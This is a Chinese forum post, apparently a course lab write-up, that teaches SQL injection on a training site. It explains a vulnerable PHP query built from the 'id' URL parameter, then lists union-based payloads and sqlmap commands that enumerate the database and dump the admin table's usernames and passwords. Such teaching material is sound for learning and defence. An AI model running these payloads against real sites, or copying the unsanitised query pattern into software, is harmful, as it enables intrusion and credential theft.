第一章:为了女神小芳!【配套课时:SQL注入攻击原理 实战演练】

urfyyyy   ·   发表于 2018-8-21   ·   CTF&WP专版

什么是sql注入?

1998年由一名叫rfp的黑客提出,是比较常见,危害较大的漏洞

通过拼接篡改输出得到数据库信息的漏洞,我们应该把他当做一个漏洞类型,而不是一个攻击方式。

 

1.       类似127.0.0.1 localhost是本机地址,在浏览器上访问等于自己访问自己的电脑

不管访问的是什么IP,这个是保留地址,代表的是本地

2.       域名、ip、端口,你都是在访问一台电脑 http://120.203.13.75:6815/

3.       不管你访问的是哪个网站,实际上都是访问其中的一个文件夹,不带后缀访问,会访问网站的默认目录,每个网站都有自己的默认目录,如http://120.203.13.75:6815/

4.       404 NOT FOUND等同于文件没找到,网页上的报错也有可能是目标站点自己设置的,没有直接在页面上显示404.如:腾讯会设置为“文件找不到了”。即访问的目标目录下没有这个文件,这个可以打开浏览器的审查元素,看返回码是什么。

5.       根目录是web容器创建的时候选择设置的文件夹

6.       403 表示没有权限访问,拒绝访问。即目标有此文件,只是权限访问。和404不同

7.       id是什么呢,凡是问号,就把他当做成一个变量来看待,如:http://120.203.13.75:6815/?id=1

8.       500错误码表示,官方挂掉了,对方服务器出问题了,内部报错。502表示连接数过多,在目标被DDOS攻击的时候,经常会看见目标502报错,也是对方的问题

 

9.       <?php

             $id = $_GET[‘id’];

                if ($id < 1){

             echo “<a href=\”id = 1\”>点击查看新闻1</a>;

           }

            else

             {

         $con = mysqli_connect(“localhost”,”root”,”root”,”maoshe”);

         //上面代码的意思是连接数据库,把php与数据库连接的语句

         mysqli_query($con,”set names utf8”);

         //上面代码的意思是对语句定义编码

         $rs = mysqli_query($con,”SELECT * FROM `news` WHERE `id` = $id;”);

         //上面这句代码实现了查询功能,用户点击某连接后,实际上是去数据库中取了一串值。都存储在数据库中,有可能是一个页面,有可能是一个文件

$row = mysqli_fetch_row($rs);

         echo $row[1];

         //输出结果的代码,类似print

?>

$rs = mysqli_query($con,”SELECT * FROM `news` WHERE `id` = $id;”);

//上面这句代码实现了查询功能,用户点击某连接后,实际上是去数据库中取了一串值。都存储在数据库中,有可能是一个页面,有可能是一个文件,实际上页面也是文件

 

将最重要的这句单独拿出分析

SELECT * FROM `news` WHERE `id` = $id;

SELECT: 查询

*: 代表所有的东西

From: 从哪里查询

News: news表里查询

WHERE: 代表条件,条件是什么?

id=id: 条件是id等于$id的所有结果,有可能是一条也可以是多条,看数据库存储了什么

那么我们再来看这个php文件里,$id是什么,也就是用户点击某连接后去查询了什么

$id = $_GET[‘id’];  //定义变量,并用”=”来取值

php中用$id来定义一个变量,变量名是id,但定义变量必须加上$符号,不像python可以直接id = xxxx

$_GET是一个取值方法。表示收集表单提交的值,同理还有$_POST方法收集,但暂时不讨论,现在收集用GET方法提交的值,简单来说就是从url中取值。如用户点击某连接后:

http://120.203.13.75:6815/?id=1

那实际上,就是将这个1,传给了$id 这个变量

if ($id<1)

第二句,进行判断,如果收集到值后,$id<1,那么:

echo “<a href=\”id=1\”>点击查看新闻1</a>;  来到这个页面

如果$id>=1,则执行下面的语句,将id的值传给数据库查询语句,让他去数据库里查询结果,并在后面的语句中处理显示出来。

故,实际上,代码为:

$rs = mysqli_query($con,”SELECT * FROM `news` WHERE `id` = 1;”);

         以上例子中,查询到的结果是一堆html代码,经过浏览器的解析渲染。显示给用户了一个页面。

         浏览器就像pythonIDLE,甚至一些其他的编译器一样,能直接读懂html代码

 

语句中的$_GET[‘id’];  从浏览器的url中取值,取来之后用”=”$id变量赋值。这个时候,$id = 1

然后,将这个值,又在下面的语句中拿来用。也就是传给了语句后面的id = $id(等同于id=1)

 

这串语句是要被放入数据库查询的,但是他后面的id这个部分,可以被我们控制,因为我们本身就可以在url中输入内容。那么,http://120.203.13.75:6815/?id=1

我们在后面加入and 1=1,实际上就是http://120.203.13.75:6815/?id=1 and 1=1

那么,现在$_GET取值,等同于取到了”id=1 and 1=1”,并且将他赋值给$id变量

这个时候,实际上查询语句就变成了$rs = mysqli_query($con,”SELECT * FROM `news` WHERE `id` = 1 and 1=1;”);

Select * from news where id =1 and 1=1; 由于and 1=1,是一个永远成立的条件,为true。那么这次查询依然会返回id=1的所有内容,即正常的一堆html代码。这个and 1=1之类的语句,只是用来测试逻辑,是不是我们输入的and 1=1被后端的代码处理了,没有被屏蔽,返回了正常的页面,只能用来初步判断存在sql注入漏洞,并不能造成危害,如果要利用漏洞干其他事情,那么我们也需要将输入的代码改成有攻击性的

 

总结: 注入最重要的就是控制输入/输出,我们将正常的sql语句进行篡改,并且查询我们想要得到的内容

 

一、检测注入点

http://120.203.13.75:6815/?id=1,在目标站点新闻页面发现?id,通过查询id=1的内容来获得页面。

相当于,select * from 表名 where id = ‘1’;

审查元素,并f5刷新页面

返回200    OK

请求方法:GET方法

Server: Apache/2.4.23(win32)  OpenSSL/1.02j  PHP/5.4.45   //sqlmap是否也是访问页面通过响应的请求头来获取对方服务器信息?

参数:查询字符串 id:1

响应返回一个html文件,浏览器进行解析渲染后变成页面

 

 

http://120.203.13.75:6815/?id=1后加单引号,构成http://120.203.13.75:6815/?id=1

此时select * from 表名 where id =1’;    //sql语句未正确结束,返回错误页面

 

继续测试and 1=1 and 1=2

http://120.203.13.75:6815/?id=1 and 1=1  //select select * from 表名 where id =1 and 1=1; sql语句用and 连接可以设置多个条件,目前返回一个永久为真的条件,也可以2=2,返回正常页面

http://120.203.13.75:6815/?id=1 and 1=2   // select select * from 表名 where id =1 and 1=2 sql语句用and 连接可以设置多个条件,目前返回一个永久为假的条件,返回错误

初步确定这里存在注入点

 

进一步猜测数据注入位置:

http://120.203.13.75:6815/?id=1 order by 10  / select select * from 表名 where id =1 order by 10,返回错误,直到order by 2才正常,判断数据注入位置在2.

 

查询数据库版本

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,version()    //5.5.53

 

查询数据库

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,database()   //得到maoshe

 

查询表名

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe'   //得到admin

 

猜测密码和用户名字段

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,pwd from admin   //一直试,直到password才返回正常,同理,用户名:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,username from admin   //工具应该也是对名字进行枚举,一个尝试,直到返回正常?


 

sqlmap工具方式:

同样猜测注入点,然后将注入点放入sqlmap

sqlmap -u "http://120.203.13.75:6815/?id=1"

查询出目标操作系统版本,(存疑,如何通过sql语句做到的)

查询出目标web中间件版本,php版本(存疑,如何通过sql语句做到的)

//通过响应的请求头来获取对方服务器信息?

查询出目标数据库版本(猜测使用version函数)

 

sqlmap -u "http://120.203.13.75:6815/?id=1"  --dbs

查询出对方的各个库,猜测使用database()函数或者show databases语句

 

sqlmap -u "http://120.203.13.75:6815/?id=1"  -D "maoshe" --table

选择对应库,并查询库中所有表,猜测通过查询库的方式实现,select table_name from information_schema.tables where table_schema='maoshe' 或者database()

 

sqlmap -u "http://120.203.13.75:6815/?id=1"  -D "maoshe" -T "admin" --columns

查询admin中所有字段,猜测通过select column_name from maoshe.columns where table_name='admin'之类的方式

或者用 where columns_name like "ad%" 方式?

 

     sqlmap -u "http://120.203.13.75:6815/?id=1"  -D "maoshe" -T "admin" -C "username,password" --dump

    查询用户名和密码,select username,password from admin,导出就比较神奇了,如何获得权限进行导出的。。

 

 


打赏我,让我更有动力~

1 Reply   |  Until 2018-8-21 | 1321 View

urfyyyy
发表于 2018-8-21

工具如何具体实现各类语句构造还没有完全明白

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部

掌控者 © 2016. All Rights Reserved. 掌控者

Powered by 掌控者 Version 2.1.3